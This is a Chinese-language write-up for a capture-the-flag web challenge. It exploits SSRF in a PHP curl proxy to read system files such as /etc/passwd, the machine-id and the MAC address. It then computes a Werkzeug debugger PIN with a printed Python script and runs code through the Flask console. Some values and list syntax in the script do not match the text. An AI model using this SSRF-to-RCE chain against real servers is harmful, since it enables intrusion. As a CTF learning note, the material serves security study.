NewStarCTF WEEK5|WEB pppython?
对源码进行简单的分析
<?php
// 检查 `hint` 请求参数是否等于指定的数组值
if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]) {
// 如果条件满足,设置响应内容类型为纯文本
header("Content-type: text/plain");
// 执行系统命令 `ls / -la` 列出根目录下的所有文件及其详细信息
system("ls / -la");
// 执行完命令后退出脚本
exit();
}
try {
// 初始化一个新的 cURL 会话
$ch = curl_init();
// 设置 cURL 请求的 URL,从请求参数 `url` 中获取
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
// 设置连接超时时间为 60 秒
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
// 设置 HTTP 头部
// `$_REQUEST['lolita']` 必须是一个数组,且每个元素都是 `key: value` 格式
curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
// 执行 cURL 请求,并获取响应
$output = curl_exec($ch);
// 输出响应内容
echo $output;
// 关闭 cURL 会话
curl_close($ch);
} catch (Error $x) {
// 捕获异常,并显示当前文件的源码和错误信息
highlight_file(__FILE__);
highlight_string($x->getMessage());
}
?>
对代码进行简单的分析
我们先满足
($_REQUEST['hint'] == ["your?", "mine!", "hint!!"])
来看一下 system("ls / -la");的结果
发现flag但是没有权限
我们接着看源码
还可以利用ssrf读文件我们读一下app.py
url/?url=file:///app.py&lolita[]=
然后就是伪造session来拿到flag
但是压根就没cookie没法直接伪造
这里很关键
我们知道了flask内网地址为 127.0.0.1:1314
还有就是结合app.py的存在我们知道可以计算pin码然后进入到/console进行rce
username
通过getpass.getuser()读取,通过文件读取/etc/passwd
modname
通过getattr(mod,“file”,None)读取,默认值为flask.app
appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask
moddir
flask目录下面app.py的绝对路径,可以通过报错拿到
uuidnode
通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
machine_id
每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,第一个读不到的话就是后两个拼接
username:root
modname:flask.app
appname:Flask
moddir:进debug读app.py路径
?url=127.0.0.1:1314&lolita[]=debug
/usr/local/lib/python3.10/dist-packages/flask/app.py
uuidnode:/?url=file:////sys/class/net/eth0/address&lolita[]=
be:31:72:c9:ba:3c->(十进制)209119588497980
machine_id:/etc/machine-id读取不到那麽就是/proc/sys/kernel/random/boot_id和/proc/self/cgroup
edeba027-4585-4b0e-81c5-9451b7c558b8
/proc/self/cgroup
真有意思....
下面是学习的其他人的wp
然后就放到脚本里跑出pin码和cookie
import hashlib
from itertools import chain
import time
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'209308333341629',
'8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")
然后就是如何传参
GET /?&debugger=yes&cmd=print(1)&frm=140324285712640&s=prj74Iraob1k5eMHiH37
1
这里我们要去获取frm和s的值
frm如果没有报错信息的话值为0
s的值可以直接访问./console,然后查看源码的SECRET值
由于这里试了半天没有报错信息,那么frm=0
访问一下console,获取s值
?url=http://localhost:1314/console&lolita[]=